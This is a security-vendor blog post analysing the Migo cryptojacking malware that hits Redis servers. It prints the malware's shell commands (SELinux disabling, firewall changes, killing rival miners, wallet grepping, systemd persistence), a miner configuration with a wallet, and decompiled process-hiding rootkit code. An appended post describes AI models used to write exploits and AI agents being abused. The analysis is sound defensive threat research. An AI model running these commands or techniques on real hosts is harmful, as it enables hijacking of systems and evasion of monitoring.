Blog
/
Cloud
/
February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog image
20
Feb 2024

Introduction: Migo

Researchers from Cado Security Labs (now part of Darktrace) encountered a novel malware campaign targeting Redis for initial access. Whilst Redis is no stranger to exploitation by Linux and cloud-focused attackers, this particular campaign involves the use of a number of novel system weakening techniques against the data store itself. 

The malware, named Migo by the developers, aims to compromise Redis servers for the purpose of mining cryptocurrency on the underlying Linux host. 

Summary:

  • New Redis system weakening commands have been observed in the wild
  • The campaign utilizes these commands to exploit Redis to conduct a cryptojacking attack
  • Migo is delivered as a Golang ELF binary, with compile-time obfuscation and the ability to persist on Linux hosts
  • A modified version of a popular user mode rootkit is deployed by the malware to hide processes and on-disk artefacts

Initial access

Cado researchers were first alerted to the Migo campaign after noticing an unusual series of commands targeting a Redis honeypot. 

A malicious node at the IP 103[.]79[.]118[.]221 connected to the honeypot and disabled the following configuration options using the Redis command line interface’s (CLI) config set feature:

  • set protected-mode
  • replica-read-only
  • aof-rewrite-incremental-fsync
  • rdb-save-incremental-fsync

Discussing each of these in turn will shed some light on the threat actor’s motivation for doing so.

Set protected-mode

Protected mode is an operating mode of the Redis server that’s designed as a mitigation for users who may have inadvertently exposed the server to external networks. [1]

Introduced in version 3.2.0, protected mode is engaged when a Redis server has been deployed in the default configuration (i.e. bound to all networking interfaces) without having password authentication enabled. In this mode, the Redis server will only accept connections from the loopback interface, any other connections will receive an error.

Given that the threat actor does not have access to the loopback interface and is instead attempting to connect externally, this command should automatically fail on Redis servers with protected mode enabled. It’s possible the attacker has misunderstood this feature and is trying to issue a number of system weakening commands in an opportunistic manner. 

This feature is disabled in Cado’s honeypot environment, which is why these commands and additional actions on objective succeed.

Redis honeypot sensor
Figure 1: Disable protected mode command observed by a Redis honeypot sensor

Replica-read-only

As the name suggests, the replica-read-only feature configures Redis replicas (exact copies of a master Redis instance) to reject all incoming write commands [2][3]. This configuration parameter is enabled by default, to prevent accidental writes to replicas which could result in the master/replica topology becoming out of sync.

Cado researchers have previously reported on exploitation of the replication feature being used to deliver malicious payloads to Redis instances. [4] The threat actors behind Migo are likely disabling this feature to facilitate future exploitation of the Redis server.

honeypot sensor
Figure 2: Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job.  This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

honeypot sensor
Figure 3: Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script
Figure 4: Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary payload – static properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

gopclntab section
Figure 5: Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

OS library functions
 Figure 6: Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily payload – capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

modified contents
Figure 7: Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

example contents
Figure 8: Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents
Figure 9: Example contents of system-kernel.timer

Process hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts
Figure 10: Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

AI

/

July 15, 2026

Security After Signatures: Operating in a World of Pre‑CVE Disclosure Exploitation, Collapsed Trust Boundaries, and Autonomous Systems

Default blog imageDefault blog image

Three shifts have reshaped what it means to defend an enterprise securely.  

First, exploitation often begins before defenders have a Common Vulnerabilities and Exposures (CVE) identifier, a security advisory, or an entry in the Cybersecurity and Infrastructure Security Agency's (CISA) Known Exploited Vulnerabilities (KEV) catalog.

Secondly, the trust boundary has moved beyond the network edge into identities, tokens, APIs, and Software-as-a-Service (SaaS) workflows.  

Third, an increasing share of business activity is executed through automation, integrations, and AI agent-like systems that can act faster than teams can verify intent.  

If your security model still relies on detecting known bad artefacts, triaging isolated alerts, and waiting for confirmation before acting, you are already behind the threat.  

This is not a failure of security teams; it’s a failure of the operating model to keep pace with how the environment has changed.

A SOC built around alerts and signatures assumes that malicious activity will eventually surface as an event. In real incidents, however, the decisive evidence is rarely a single event. Instead, it is a chain of individually explainable actions that only appears malicious once you connect the dots across identity, non-human identity, cloud, email, SaaS, operational technology (OT), and network telemetry.

The defenders succeeding today observe behaviors, link them into sequences, understand what those sequences mean, and contain impact before the full story unfolds. That is the operating model the current threat environment demands.  

Exploitation before disclosure

The first shift is the straightforward: the time to exploit has dropped to nearly zero.  

In one example, Darktrace observed a sequence of subtle but strategically significant anomalies within a customer environment that later aligned with exploitation of CVE‑2025‑0994 in Trimble Cityworks by likely Chinese-nexus threat actors. Behavioral indicators were visible at least 18 days before public disclosure, with related anomalies emerging 40 to 50 days earlier during the intrusion window.  

This case illustrates a familiar pattern: clusters of weak‑signal anomalies combing to form an actionable picture of intrusion long before a CVE is published. Such activity reflects long‑horizon, option‑preserving operator models often associated with mature state‑linked activity.  

Figure 1: Darktrace’s detection of malicious exploitation of CVE 2025-0994, later tied to Chinese-nexus threat actors targeting critical national infrastructure (CNI) in the US, weeks before public disclosure.

Throughout 2025 and 2026, Darktrace has continued to observe the value of anomaly-based detections across a range of incidents.

CVE CVE Public Disclosure Date Darktrace Detection Date Days Between Detection of Exploitation and CVE Public Disclosure
CVE 2025 0994
(Trimble City Works)
2025-02-06 2025-01-19 18 Days
CVE 2025-24183
(Apache)
2025-03-10 2025-02-18 20 days
CVE 2025-10035
(Fortra GoAnywhere)
2025-09-18 2025-09-11 7 days

Identity is the real control plane

The second shift is that identity has replaced perimeter as the primary control plane. As Darktrace’s Annual Threat Report 2026 illustrated, identity remains the main challenge in defending against modern intrusions. A clear example is the Adversary-in-the-Middle (AiTM) case published by Darktrace in December 2025. A phishing email led to the compromise of an Office 365 account. Session hijacking bypassed multi-factor authentication (MFA), and the compromised account was used for follow-on phishing and persistence activities including the creation of malicious email rules.  

Every step in that sequence mattered. A successful login alone does not prove legitimacy. An inbox rule, on its own, may not appear catastrophic. Mail activity, viewed in isolation, may seem operationally normal. But the behavioral chain tells a different story: credential theft, token abuse, persistence, and onward compromise through a trusted identity.  

This is why the question is no longer “Did the user authenticate successfully”. The more important question is, “Does this identity action make sense right now, in this context, given what came before it?” The AiTM case shows how identity can be compromised. In practice, however, attacks rarely remained confined to identity alone.  

In another Darktrace case, a compromised SaaS account triggered activity across the email, SaaS, and network layers, including inbox rule changes, phishing propagation, and connections to suspicious infrastructure. Viewed in isolation, none of these events were decisive. Together, however,  they formed a behavioral sequence that revealed the intrusion, with the full attack story automatically correlated and surfaced to defenders by Darktrace’s Cyber AI Analyst.  

Figure 2: Cyber AI Analyst correlated and appended additional events to the incident, including other users who connected to the suspicious redirect link after outbound phishing emails were sent.

AI accelerates the threat  

The third shift is the one many teams still underestimate: trusted tooling, integrations, and AI agent-like systems can create actions that appear legitimate but are strategically dangerous.  

The shift becomes clearer when examining how governments are now framing AI risk. In 2026, guidance published by CISA, UK’s National Cyber Security Centre (NCSC) and Five Eyes partners warned that agentic systems expand attack surfaces, accumulate privilege, and can behave in ways that are difficult to predict or explain [1]. The advice is simple: assume unexpected behavior and design controls around it.  

The real risk is not AI usage. It is unknown autonomy: systems with credentials, data access, and action paths that can execute workflow steps without sufficient behavioral validation, traceability, or human oversight. Darktrace’s Model Context Protocol (MCP) risk analysis provides a useful framework for understanding this challenge. Over-privileged agents, content injection, and tool abuse become high-consequence risks when connected systems can dynamically retrieve data, execute actions, and communicate externally.  

Whether security teams like it or not, AI is already in the enterprise. It will help drive innovation, but it will also be abused, whether accidentally or maliciously. In each of the cases below, AI either scaled the attacker, built the tooling, or existed within the environment as something to exploit or misuse.

1. AI as an Attack Multiplier

In one campaign targeting Mexican government entities, a single operator used commercial AI platforms to generate exploits, automate reconnaissance, and process large volumes of data, compressing work that would traditionally have required an entire team into a single workflow [2].  

Darktrace is also observing this trend further down the stack. In one case, Darktrace identified AI-generated malware exploiting React2Shell, where an attacker used a Large Language Model (LLM) to produce working exploit code and deploy it at scale.  

[darktrace.com], [darktrace.com]

2. AI as an Attack Surface

Attempted AI exploitation is now appearing within customer environments. In one case involving an automation technology manufacturer, a compromised LLM proxy was seemingly used as a stepping stone to access additional AI services. When that attempt failed, the attacker pivoted to cryptomining.

What is clear is that the AI layer has already become an asset worth probing, exploiting, and pivoting through. It is also clear that defenders benefit from rapidly understanding how these activities connect. In this case, Cyber AI Analyst automatically pieced together the intrusion, while Darktrace’s Managed Threat Detection service alerted to the customer, enabling the activity to be contained before it could progress further.

Figure 3: Cyber AI Analyst's investigation into a compromised LLM proxy that was abused for cryptomining activity.

AI as a trusted but dangerous actor

This does not require a cinematic vision of “rogue AI.” The Salesloft incident provides a more grounded example, where AI and automation operate with legitimate access but served malicious intent. In that case, attackers abused compromised OAuth tokens associated with the Drift AI chat agent to export significant volumes of data from Salesforce environments.  

The activity resembled legitimate API usage and relied on trusted SaaS integrations rather than malware or other obvious signs of intrusion. That is precisely the challenge. Traditional security controls are good at detecting forced entry, but far less effective when a trusted application integration behaves in a way that is technically permitted yet operationally harmful.  

In these scenarios, the security challenge shifts from validating access to validating behavior.

This is what that looks like in practice: AI-linked identities executing legitimate actions that require behavioral validation rather than access validation.

Figure 4: Darktrace / SECURE AI highlights anomalous activity across AI identities, surfacing critical behavior that requires validation and containment.

Early observations from Darktrace / SECURE AI deployments reinforce this reality. Across Darktrace's observed fleet, AI service connections per deployment increased 13% during the first half of 2026, reaching over 16 million connections overall. The typical organisation now interacts with seven different AI providers, evidence that AI is no longer operating at the edges of the enterprise. It is increasingly woven into day-to-day business activity.

The most common risks are not compromised models or advanced AI attacks. Instead, they stem from employees and business functions exposing sensitive information through entirely legitimate-looking interactions. Darktrace has observed repeated submission of personally identifiable information (PII), tax information, identification documents, and medical data into LLM prompts, alongside widespread use of unsanctioned (shadow) AI services and growing AI activity from mobile devices.  

For defenders, the challenge is increasingly one of context: understanding when legitimate business use crosses into material risk, while preserving privacy and user trust.

Conclusion

Across all three shifts, the pattern is the same: behavior precedes understanding. Security teams are not losing because adversaries have become invisible. An increasingly outdated security model assumes that malicious activity will reveal itself cleanly and early. It no longer does.  

In 2026 and beyond, defenders win by understanding behavioral sequences, continuously validating trust, and acting before certainty becomes hindsight. That is security after signatures. That is security in the AI era.

Credit to: Daniel Levy, Threat Hunting Data Scientist

Edited by: Ryan Traill, Content Manager

